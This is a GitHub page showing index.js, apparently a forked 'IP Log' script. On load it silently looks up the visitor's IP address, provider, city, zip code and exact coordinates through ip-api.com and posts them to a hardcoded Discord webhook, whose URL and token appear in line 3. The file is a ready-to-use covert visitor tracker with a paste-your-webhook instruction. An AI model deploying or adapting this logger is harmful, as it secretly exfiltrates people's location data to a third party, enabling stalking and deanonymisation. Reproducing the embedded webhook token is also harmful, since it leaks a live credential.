-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
62 lines (48 loc) · 2.01 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// Paste your Discord Webhook API URL into Line 3: WEBHOOKURL => YOUR API URL
var webHookUrl = "https://discord.com/api/webhooks/1093582086146900108/XYfoFFPt_zHO8glMHePwTe7V6uYwcBm--R19Dio46elUHiDBjQvLTDzlyRPCA79wJnIH";
/*
Forked from: https://github.com/luisoos/IP-Log-To-Webhook
License: MIT
*/
const request = async () => { // Calling a "synchronous" fetch
const response = await fetch('http://ip-api.com/json/');
const data = await response.json();
// Declaring variables
var ip = data.query;
var provider = data.org + " (" + data.as + ")";
var timezone = data.timezone;
var country = data.country;
var countryCode = data.countryCode.toLowerCase()
var region = data.region + " (" + data.regionName + ")";
var city = data.city;
var zip = data.zip;
var lat = data.lat;
var lon = data.lon;
// Open POST Request
var postRequest = new XMLHttpRequest();
postRequest.open("POST", webHookUrl);
postRequest.setRequestHeader('Content-type', 'application/json');
var params = {
username: "IP Log",
avatar_url: "",
content: "__**:globe_with_meridians: IP-Adress:**__ \n"
+ ip +
"\n \n__**:telephone: Provider:**__ \n"
+ provider +
"\n \n__**:map: Timezone:**__ \n"
+ timezone +
"\n \n__**:flag_" + countryCode + ": Country:**__ \n"
+ country +
"\n \n __**:park: Region:**__ \n"
+ region +
"\n \n__**:cityscape: Zip Code:**__ \n"
+ zip +
"\n \n __**:cityscape: City:**__ \n"
+ city +
"\n \n__**:round_pushpin: Location:**__ \n"
+ "**Longitude:** " + lon + "\n"
+ "**Latitude:** " + lat
}
postRequest.send(JSON.stringify(params));
}
request();